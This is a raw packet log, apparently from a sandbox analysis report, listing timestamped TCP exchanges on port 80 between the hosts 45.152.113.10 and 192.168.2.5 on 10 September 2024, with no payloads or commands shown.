Sep 10, 2024 19:36:10.017178059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017185926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017190933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017194986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017215967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017240047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017251968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017267942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017277002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017285109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017293930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017302036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017302036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017327070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017337084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017337084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017345905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017354965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017365932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017365932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017390966 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017412901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017420053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017431021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017438889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017448902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017457962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017466068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017479897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017519951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017529964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017539024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017565012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017591000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017600060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017610073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017611980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017631054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017640114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017657042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017699003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017803907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017816067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017846107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017867088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017878056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017893076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017900944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017900944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017904043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017915010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017949104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017957926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017957926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.018058062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.018066883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.018075943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.018096924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.018106937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.018110991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.018117905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.018124104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.018130064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.018141985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.018142939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.018146038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.018162012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.018187046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.022281885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022319078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022336960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.022372007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022375107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.022389889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022411108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022424936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022429943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.022429943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.022437096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022447109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022454023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.022458076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022476912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022486925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022491932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.022491932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.022497892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022500038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.022509098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022520065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022527933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.022557974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.022572994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022588015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022598982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022619963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.022631884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.022737980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022749901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022768021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022778034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022780895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.022788048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022794962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.022797108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022806883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022815943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.022818089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022826910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022838116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022841930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.022855997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.022871971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022878885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.022911072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.022983074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.022994041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023005009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023014069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023022890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.023025036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023032904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.023062944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.023089886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023099899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023108959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023118973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023129940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023132086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.023144960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.023169041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.023253918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023264885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023273945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023283958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023293972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023298025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.023303986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023310900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.023315907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023339987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.023344994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023355007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023360014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.023365021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023375034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023391962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023396969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.023396969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.023415089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023423910 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.023447990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023456097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.023456097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.023458958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023468971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023478985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023488045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.023488998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023499012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023505926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.023509026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.023530960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.023535967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.102931976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.102968931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103024960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103040934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103059053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103072882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103092909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103096962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103115082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103125095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103146076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103152990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103168011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103168964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103182077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103194952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103199005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103213072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103215933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103225946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103234053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103240013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103254080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103261948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103267908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103282928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103290081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103328943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103342056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103398085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103452921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103499889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103524923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103535891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103545904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103559017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103569031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103574038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103640079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103651047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103663921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103669882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103676081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103676081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103687048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103698015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103724003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103744030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103755951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103756905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103766918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103779078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103789091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103792906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103811979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103832960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103844881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103844881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103856087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103867054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103878021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103885889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103908062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103924990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.103945971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103957891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103966951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103977919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103988886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.103996038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.104008913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.104021072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.104031086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.104031086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.104042053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.104052067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.104085922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.104121923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.104134083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.104145050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.104171038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.104187012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.104192972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.104238033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.104345083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.104357004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.104367971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.104378939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.104399920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.104423046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.104475975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.104486942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.104497910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.104509115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.104518890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.104522943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.104531050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.104542017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.104566097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.104592085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.108578920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.108637094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.108659029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.108668089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.108685017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.108716011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.108721018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.108769894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.108772039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.108804941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.108822107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.108836889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.108854055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.108887911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.108892918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.108944893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.108987093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109020948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109036922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109051943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109069109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109085083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109102964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109112978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109136105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109137058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109148979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109150887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109173059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109179020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109189034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109201908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109208107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109220982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109235048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109240055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109250069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109272003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109277964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109283924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109292030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109297037 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109302998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109319925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109329939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109338045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109340906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109350920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109361887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109371901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109375954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109385967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109395981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109400988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109405994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109421968 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109436035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109445095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109448910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109460115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109469891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109472036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109479904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109489918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109499931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109502077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109530926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109533072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109551907 CEST	80	49707	45.152.113.10	192.168.2.5
